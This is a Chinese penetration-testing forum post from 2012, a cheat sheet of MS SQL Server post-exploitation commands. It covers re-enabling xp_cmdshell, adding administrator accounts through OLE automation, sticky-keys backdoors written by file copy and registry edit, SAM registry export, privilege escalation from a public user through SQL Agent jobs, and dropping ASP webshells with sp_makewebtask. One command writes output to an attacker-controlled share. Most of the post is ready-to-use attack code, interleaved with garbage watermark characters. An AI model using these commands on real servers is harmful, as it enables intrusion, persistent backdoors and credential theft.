中国网络渗透测试联盟

标题: XP_CMDSHELL恢复方法大全 [打印本页]

作者: admin    时间: 2012-9-15 14:37
标题: XP_CMDSHELL恢复方法大全
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号; ^, f( s' ^  W' _* {
恢复方法:查询分离器连接后,# v% ~+ U! }) J; P& D
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
6 z- d  }! X/ E6 W" x  k0 j( ]/ U6 j第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
  M# P* E" G4 ~然后按F5键命令执行完毕
' e9 e" N3 i8 u, X7 t6 r9 b) L9 \7 w  o( _
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)) r( f$ a1 |1 Q! V/ X; W5 L: r0 ]! u
恢复方法:查询分离器连接后,2 \0 I1 R5 C* ~/ E- P, ^8 O
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
2 G) S2 d: e) V$ ]4 o+ T第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'1 b% e! ?) q/ k  l* h
然后按F5键命令执行完毕
+ K- r# y) r# x5 `3 v5 h/ N: u; c5 O' X. W
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
# i. W: I$ o- a+ J8 y# n恢复方法:查询分离器连接后,
7 b# x, q* r9 l% b+ q$ ~: a1 i2 O第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
  a" t9 }9 `0 R& r第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'      
5 I( H- `9 Z' d, w然后按F5键命令执行完毕& n$ A  J/ _3 _! z& I+ A  W7 ?

" `8 r" m  C0 [* Z" B: \& y4 终极方法.+ U. J6 q9 L3 c# m
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
- P/ c) `" ?6 j) {3 i查询分离器连接后,; X6 w. B! y9 v' R, q
2000servser系统:
$ q# e3 Z; A' q, K1 [0 V+ [4 Zdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
# J, g* _6 Q) }9 v5 n! H+ U1 ]) `2 q3 ?3 u9 x6 ~( |, I
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'" v- c$ m( [  }' J- E) D

+ W& \0 C+ P1 d' B) kxp或2003server系统:! U' y7 u+ C5 D& n

$ P% q; r3 k' |' }3 wdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'' G2 {4 @  s# B* v: j! {

) d9 n6 K0 j# `: y' @0 ]declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
0 d6 U0 J" b* Z( d4 z9 \9 D; L: D+ u2 [2 M; B& D. X
/ A/ d  `" M; X, S4 n  X
五个SHIFT
- [9 i! |! G! ?declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
1 h7 [/ I& d; r& f+ e
- n$ K9 c( f+ Q( s+ N8 t$ C! Q5 Qdeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; 6 q  F! S6 O" g) a

. }+ `6 l7 v( M( B* p% Oxp_cmdshell执行命令另一种方法
' f2 u" y/ l. ~5 S8 Q/ q* Zdeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' - l9 T' d' f/ Q) a3 O' g0 ]- }

. r! z' V4 S0 l$ l9 @9 Z& V4 _判断存储扩展是否存在# s* R; O6 {# w' u6 q" a- U: l
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'+ t9 L( Z! L' l# S
返回结果为1就OK0 ~/ g* k9 a) c
9 b  Z7 ]0 e2 {9 y/ u0 Z

' Y2 P$ b' R( E% b/ F8 {: d$ K上传xplog70.dll恢复xp_cmdshell语句:* W$ U  G( ~! x' k9 T0 ?7 y
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
! ?2 `$ z: r" u! W9 o4 i& ?! c5 c' F, x
否则上传xplog7.0.dll
5 N6 e3 g2 n. \! ]# yExec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'+ u! p& T" w# S1 y/ i8 c) f1 }
6 t+ C2 q! _7 w/ p( A9 N
9 v2 S4 e8 j2 E5 I; S; H) z

4 m6 U3 n0 `+ `6 @. J首先开启沙盘模式:; y9 ^7 A1 r# G3 Z: }0 U5 i
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
! a! D7 X4 C% ^' z7 u# \, q9 ?9 c0 k; Y: m# y+ h
然后利用jet.oledb执行系统命令( r# C2 G& l: x/ r
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
! T( g3 j1 m0 ?/ i% Y" U7 c  U! j/ R返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了# T5 m1 E6 d3 a/ _! g! K

  y. ~) C& K: d. Z
6 Q7 t% U) n7 G/ h4 W
/ A. m) z$ W2 C5 f恢复过程sp_addextendedproc 如下:
0 O9 U: r5 L, S, j6 p0 i+ Jcreate procedure sp_addextendedproc --- 1996/08/30 20:13
4 j+ M: }7 {0 \6 u  \% ~$ e" v@functname nvarchar(517),/* (owner.)name of function to call */ % S3 X- M6 N  x  \: s" b3 F
@dllname varchar(255)/* name of DLL containing function */ 2 g5 F2 x2 r* A, @4 ?
as
( e3 ]  y5 y2 K1 uset implicit_transactions off ) W3 D1 v% H% b) M. V. }, l! b
if @@trancount > 0
: P/ m- D& h& a8 ]3 Y2 T# nbegin $ V" y; \: T! i1 k4 p% Z3 j
raiserror(15002,-1,-1,'sp_addextendedproc')
5 p2 ]$ @' G( P5 _return (1) / k- l. N7 G5 f& }6 f/ j
end ) T2 ~0 X8 s& a
dbcc addextendedproc( @functname, @dllname) % j6 y4 @: I% P6 R
return (0) -- sp_addextendedproc ; V, U( v2 L. V6 U3 l/ W' w6 h
GO
; B# z' Y- A0 g- C% Z: c! `1 {% y, |' p  l* S9 k, u

, x" ?$ [  q7 @; P% P( U# B5 f0 e+ [' j
导出管理员密码文件
- s6 R9 |. H0 v1 z" g! l8 Rsa默认可以读sam键.应该。
! }! O! K. T3 r+ Vreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
4 ^) X% v; U# b, E8 ~net user administrator test
% O- @3 v) M9 Q1 ]用administrator登陆.! }6 v$ n5 K6 z) H* O
用完机器后
7 f1 T4 ^7 A9 _& Ireg import c:\test.reg
& p( \4 E# |# y3 n4 y' m根本不用克隆.
! {/ n( V5 L: v找到对应的sid.
; r+ U; B* H6 |8 X4 [' ?; Z/ B4 K( [* [3 @- }% g

. E5 x: q( p5 A4 \6 K" w
/ r3 z; {- k! @+ F' g' Q恢复所有存储过程
# V/ F1 n' R+ `4 Y2 j: r5 Suse master + g( t# D5 _! b* j3 x
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
9 D; O( i, k* Z8 |; Cexec sp_addextendedproc xp_fixeddrives,'xpstar.dll' ; d  O( F% D+ L/ @  Y
exec sp_addextendedproc xp_loginconfig,'xplog70.dll' ) Y& v; x' T2 g" B! Y
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
& d% N+ c0 d" ^) ]. A  O; Iexec sp_addextendedproc xp_getfiledetails,'xpstar.dll' + C! V; I, ]1 N/ v
exec sp_addextendedproc sp_OACreate,'odsole70.dll' 0 ]# X: ?8 x) k5 G
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
9 `. |0 c* K1 }, P! |exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' " f4 Q2 s" q- ~
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' $ J1 ?. u+ |& ^( D6 G
exec sp_addextendedproc sp_OAMethod,'odsole70.dll' : z2 D8 ~3 [( j1 B- d/ }
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
$ V6 |5 l4 m; a/ X7 L2 `2 B3 texec sp_addextendedproc sp_OAStop,'odsole70.dll'
0 j- V4 q% j3 h+ K! D1 j) i1 sexec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' ; F  a& i+ W( o; ~: v% q
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' / z& `! K, l. D7 |: \7 h
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
. `# e' I3 P  y0 e" X- o' Rexec sp_addextendedproc xp_regenumvalues,'xpstar.dll' 3 I( N8 r5 t& n+ x
exec sp_addextendedproc xp_regread,'xpstar.dll' 9 R5 b. J+ m2 [) r% B+ z: }
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' 8 Y1 V' B4 S6 S/ W5 U$ U  g
exec sp_addextendedproc xp_regwrite,'xpstar.dll' 3 j1 {3 S- g0 j8 ~
exec sp_addextendedproc xp_availablemedia,'xpstar.dll', k) Y* g9 Q0 x+ I' Q7 M

5 U" L% I# N. f0 \. O6 s% I
' B! W( ]1 E. b/ z# T/ {" O建立读文件的存储过程2 N- p* r+ e! d* m
Create proc sp_readTextFile @filename sysname* {' Y: U- O: y4 j1 e  t
as. t4 j$ }$ i) E5 O0 |

! O2 ]* x8 d9 z4 C    begin - ?2 l* S1 o- y# |# ~1 t) ^
    set nocount on * `: B0 U; m: P. \
    Create table #tempfile (line varchar(8000))
* h  b8 t" X4 @! Z" N8 j    exec ('bulk insert #tempfile from "' + @filename + '"')
# T3 W; c- T- @: t" Q4 `    select * from #tempfile
2 r- q5 m+ Y5 v  R    drop table #tempfile0 x" ]0 v3 \5 h& q1 b& ]& m
End
/ k( B3 g  S8 i: D
$ k6 `4 H+ a7 F! ~/ ^7 J0 |exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件2 ?( y7 L1 s$ U0 ^5 h
查看登录用户" G/ n- b7 g- u' N" i: T$ |5 J
Select * from sysxlogins
; N3 f1 U! w$ c( c
3 I# B$ Z& u: f/ u' ]! {  v3 [把文件内容读取到表中) o# h4 v* |( x8 p2 u
BULK INSERT tmp from "c:\test.txt"
" ^, l. d  w2 z/ t" ^dElete from 表名 清理表里的内容
8 b, v9 ], p- {; N* J* R! c  Qcreate table b_test(fn nvarchar(4000));建一个表,字段为fn
' \' \$ Y  ?  S
# r% k6 `& q- v' g. r) e
( [7 S& {: L# p# [2 l5 c: u' ?加sa用户3 c" S. w4 O( `2 h
exec master.dbo.sp_addlogin user,pass;- E# B' Q5 \9 v
exec master.dbo.sp_addsrvrolemember user,sysadmin
6 N' s7 h& }$ X2 \! c. O  V' _1 L1 E. I0 \' C: ~( t: U/ X  T

8 f# y  F& N) N5 O
. e9 n/ S2 F+ T读文件代码+ y/ X- j" R' [. @. Z2 u, M
declare @o int, @f int, @t int, @ret int1 s3 R( |- f. K. Y0 D2 n
declare @line varchar(8000)  @% Z' S4 L6 W5 B
exec sp_oacreate 'scripting.filesystemobject', @o out% K8 x+ x; N# ]% _! C: r
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
) m: n0 w4 b$ E: O1 K, u$ lexec @ret = sp_oamethod @f, 'readline', @line out1 j3 ]+ d/ w1 M) u
while( @ret = 0 )
$ g" h0 t4 m5 H5 R- E5 dbegin5 J3 L- S' I8 ?5 k6 U) c  W' D6 w
print @line
- ]# s- `* X3 @2 k, b9 Pexec @ret = sp_oamethod @f, 'readline', @line out
$ [6 T5 ]. R- y" Q/ g" ~end
( Z6 q% f7 v& {  a; I* D) u  ~( Y8 B0 u9 x
9 O) Q, `. }7 ?; m4 X8 |/ T" G. V
写文件代码:5 j( z0 {* X" A/ [  X/ H
declare @o int, @f int, @t int, @ret int" ^" N6 r% D& m+ c$ P3 {* b& I. \
exec sp_oacreate 'scripting.filesystemobject', @o out# [+ P! K% Z# W8 }+ {1 H1 Y6 c
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1# Y5 G3 z$ }5 T% c  q4 _  }
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
* m  [! ]" y# c( u
" q4 d! N. N5 a! }5 K
: P# @9 C( S/ @2 Q+ E: c添加lake2 shell8 \- u# @* j) R) v' K; J
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
9 T3 c1 h& N4 [sp_dropextendedproc xp_lake2
) Z, d$ m* g" b. M& GEXEC xp_lake2 'net user'
/ o- h7 N" i7 n+ o( A# o# P
" ^4 J' r( k8 p2 B' N3 i. L2 c/ k' R2 D" ]* r
得到硬盘文件信息 , k6 q7 f' U7 z3 a
--参数说明:目录名,目录深度,是否显示文件
. _5 L! Q8 r4 Q3 v  k& ~/ C) rexecute master..xp_dirtree 'c:'
+ Q" e5 e" j* u6 a3 @5 g9 Zexecute master..xp_dirtree 'c:',1
# }0 R  v: I9 e2 a5 gexecute master..xp_dirtree 'c:',1,1
* {, I% A/ ]  O' W  w0 `7 y6 t! B( M; O

% R' v' o2 O6 P0 n; N6 z读serv-u配置信息
" p+ ]6 U8 E5 \2 V( Texec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
" x' H, D, ?+ g' a# ?& t5 |exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
0 |9 z# W2 g1 F8 W- j( @
' E. v( e6 _- v; f通过xp_regwrite写SHIFT后门
" u, e( J, s1 yexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
( u; y0 J' Z$ G; {
3 H) M' A: Z- G+ f% P7 d8 V& N  h* A3 I! u6 S
* _: G& z  h& q$ j# i8 Y
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';; t# P6 F! V5 v
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
; m& m: o& M: x, T8 B5 H9 u( }& q5 d' F% a, A  \
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'; _5 m8 i$ E1 N) u# i, q

. r% e) U  X8 c* B% \6 M. E) V* ]1 N' x" i& C; j& y, J+ T7 q% K
" d/ }/ e* {& }& O; J& W" w# h
sql server 2005下开启xp_cmdshell的办法
1 z2 I! c# \) K; i+ A2 y+ H/ {! G6 u+ n, x
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;5 c4 y* d8 S! L3 w0 c% o/ X( P

  y. C- k4 ]1 S6 M# tSQL2005开启'OPENROWSET'支持的方法:
; p0 m9 n6 L8 x: a( o2 N7 S& |  t* M6 J1 [% u
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
1 S/ Y5 Y& T1 j+ h
$ A! e+ G% u% _& u* l2 ~3 }SQL2005开启'sp_oacreate'支持的方法:
8 d9 Q+ X. P$ _% _4 T
) o# x9 M0 p, M3 Nexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;( o% _# r9 P* ~: u8 v0 d
, A. W8 {9 w1 t1 N4 o
  w1 n, ]9 N  W6 p9 M8 E+ n
+ u+ a% i: K( @4 L/ v; v5 [1 K
+ M, \: I: ]$ y8 s1 E) D

+ O1 m7 x' j; }8 ?( E2 E% R- a# D6 C0 {& x' e+ k# |8 _7 h
: P5 F3 J' G4 ^: t

& B8 q  M8 `$ }+ h" @+ p
. p  l0 R9 y, H3 o0 u1 H, t1 Z7 _2 a# k* i$ k5 M- }. o. w0 G  T

- V5 f/ n" x4 w" b1 `% S6 s9 A, k2 a6 Y5 T, j9 z
0 n0 I" j4 y; `* S- h

1 r( N. l- ^9 R' _6 P7 q) I' _! [7 e0 m% V3 j

% a# Q+ _* h( x2 c1 n) l/ `  N( {" \9 J0 A/ p9 ?2 ?

" U2 o$ a( }  i) @( m: F: p8 S$ o  C

/ e* e  x8 P- f$ L5 o
% |+ d' N* _% w+ `" [9 K( v4 h( X" Q3 X/ }# q& Z# E5 d5 Y5 X
% c" @* B( W6 L
, y2 x0 ~6 w0 x6 H, T+ n
以下方面不知道能不能成功暂且留下研究哈:' Z. O7 x0 o- a0 }' F
4)
5 _+ D2 x* O  U% T; d9 wuse msdb; --这儿不要是master哟
! v% O6 f) n* ^2 S6 L, W5 Hexec sp_add_job @job_name= czy82 ;1 ]$ {3 ?; q2 H: I( {
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;1 G- b& A3 y, O- k8 Q
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;' O+ ?! |$ |9 d1 v4 d( J
exec sp_start_job @job_name= czy82 ;
& I* u8 Y0 J" C% b- e$ c! z9 h7 f  V" d8 W, ]# I. f
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以8 ]: p, L7 {" f# k8 [
执行tsql语句了.
! ~3 M* L2 [% o. D" K对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名5 P  k  z) K* b; ^" K
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)- y/ z5 s, l$ a( U9 h0 C. G
net start SQLSERVERAGENT, e- ?8 k8 [+ w0 d
' d6 I5 g7 {& X4 Z- U
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的$ q, e- }  t  \
USE msdb
2 t; h4 F$ D2 l$ tEXEC sp_add_job @job_name = GetSystemOnSQL ,
' g" {% N9 ?$ X9 H; [( k7 t@enabled = 1,
/ c! v: Y( S; ]@description = This will give a low privileged user access to
% M/ @" |9 C2 g, {7 Nxp_cmdshell ,: k$ C) R" F' j1 x
@delete_level = 1
5 r+ \+ L5 z0 \1 Z* kEXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
: W1 u, v0 U+ }, f3 A+ k3 T@step_name = Exec my sql ,
" o4 Z* g0 w; ]# b" u1 ~- W, s@subsystem = TSQL ,. |+ v. j, l3 n4 G$ E) ]' }, v, r
@command = exec master..xp_execresultset N select exec) X0 f: a/ ~: g- e
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master 9 ^( p& [  |* P5 G2 P
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
# U! A& H) u1 }* c. M, Q# A! G@server_name = 你的SQL的服务器名 8 k, L" @/ T+ Y6 q# t( F% v0 N
EXEC sp_start_job @job_name = GetSystemOnSQL
# e; y, B0 b3 u- K6 P) U
! t" U( x" X- C: M$ v3 J不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以' B9 p6 _6 @# M6 T+ E( O# S' G
才让我们可以以public执行xp_cmdshell0 n$ ?9 b2 N: H' b+ x: l" T! y

" v8 b! T8 C6 R+ p) Z  j: b5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)# U2 V9 i6 V" ~) \
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968! D4 u$ H5 l* r3 k* [% c! Z( Q

" J# w3 p+ A; j( @USE msdb7 Z+ [  c2 _9 F) m
EXEC sp_add_job @job_name = ArbitraryFilecreate ,! U# |" t5 z# N/ P
@enabled = 1,; K5 c/ U0 C" a1 x$ n$ \9 o1 z+ M: U
@description = This will create a file called c:\sqlafc123.txt ,0 H" x) I$ |+ P1 O1 _/ S4 k
@delete_level = 14 `/ D4 F, g, j/ a' s* |
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
; g3 v% s# P7 y@step_name = SQLAFC ,
" d% M: d! c/ d- {6 c7 I@subsystem = TSQL ,( Q1 b* ~' i0 W7 L+ [
@command = select hello, this file was created by the SQL Agent. ,
' c7 }; c7 \  R7 B@output_file_name = c:\sqlafc123.txt ; L$ e! Z0 o# \- i3 b8 }
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
/ P* V* f  ]2 G9 c5 J( S@server_name = SERVER_NAME + [( v" z$ g" U  M9 |/ @
EXEC sp_start_job @job_name = ArbitraryFilecreate
8 H1 ^- O- N' w( F
# R5 a, [% k0 h$ Z5 e& E5 I如果subsystem选的是:tsql,在生成的文件的头部有如下内容; X0 s; C+ u' W" {% H

; ^& Y9 N0 T% S/ n2 }. w( b6 ]1 a??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19$ n+ s5 B/ L# G( ^5 \  Y1 b% m1 H
----------------------------------------------
; E" z! l0 Q/ v  ?; chello, this file was created by the SQL Agent., N% g, ^- S  Y! Z5 J

5 J  P* h# N2 f3 g+ _4 x% S(1 ?????)" r2 ?: I8 H1 M0 \& |0 R. r, j

6 a9 F7 a# t; N8 r/ k) m" ^# j所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
; j5 i, }2 I4 {! f) u; A命令的vbs文件到启动目录!5 _! O$ x& J' d! Z1 x% _6 k/ k# v

1 E% j# j* G8 A; ~0 [2 U* c6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
* I9 s; @. [5 {关于sp_MScopyscriptfile 看下面的例子) E* ?. k9 f+ r1 y1 Y5 Y+ {0 q- n
declare @command varchar(100)
  b* [8 l& l  \$ ?/ U$ f$ z* hdeclare @scripfile varchar(200) + `& D: o5 z0 |% w5 d
set concat_null_yields_null off
3 J4 e* \" J8 t2 T, \select @command= dir c:\ > "\\attackerip\share\dir.txt"
3 g4 q% I! @1 gselect @scripfile= c:\autoexec.bat > nul" | @command | rd " * h9 u) k' ^8 ?! T
exec sp_MScopyscriptfile @scripfile ,
& I2 G# M, H5 Q9 b+ Z
1 g) P1 c8 e8 g这两个东东都还在测试试哟6 F( }; k$ i0 V0 n
让MSSQL的public用户得到一个本机的web shell/ |) v* T4 o4 ]; t. U

; a6 d$ \. H' Y* G+ \( j, {sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,% S$ b" x5 n- ?1 q
--@query= select <img src=vbscript:msgbox(now())> / C( B; q, \+ }& G
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> 7 P( x( p4 w$ q& Q
@query= select
! q8 Q/ \  q6 D" v) |<%On Error Resume Next 7 P) b, S9 y" ^0 d
Set oscript = Server.createObject("wscript.SHELL")
  G$ i' J' I, T" v) g" NSet oscriptNet = Server.createObject("wscript.NETWORK")
8 W3 {. F; K9 e' q" dSet oFileSys = Server.createObject("scripting.FileSystemObject")
7 M, w' w* u7 MszCMD = Request.Form(".CMD")
6 U$ P9 D6 R9 X% F5 G% xIf (szCMD <>"")Then - Y; c7 N% ^- ^
szTempFile = "C:\" & oFileSys.GetTempName()
1 N6 b1 W4 _" U0 S: M3 aCall oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
* }: g- T# W( ?5 N' L/ FSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
& \0 z! `/ O9 `5 K  ~9 H/ V" KEnd If %>   C5 ]7 U6 u9 e( ?
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST">
' N  G4 J3 I/ [7 K<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
+ R9 t, Z) ~; Q8 Q9 x</FORM><RE>
( Y& p) ]6 d( Q6 X- j- y- w# {' _$ A<% If (IsObject(oFile))Then
% l. |; @; J0 d' [! |On Error Resume Next
3 o2 t/ v' Z* v2 S$ p# m; \" ^. ]Response.Write Server.HTMLEncode(oFile.ReadAll)
8 Q1 y: w& a% u! yoFile.Close 9 y* N2 U. V; ^) T# m7 l
Call oFileSys.deleteFile(szTempFile, True)
* f# }. Q6 m! M4 ~/ TEnd If%>
$ @  o- e: m$ o9 X: ^6 f; c</BODY></HTML> : P. F: b! P, ~- [! }





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2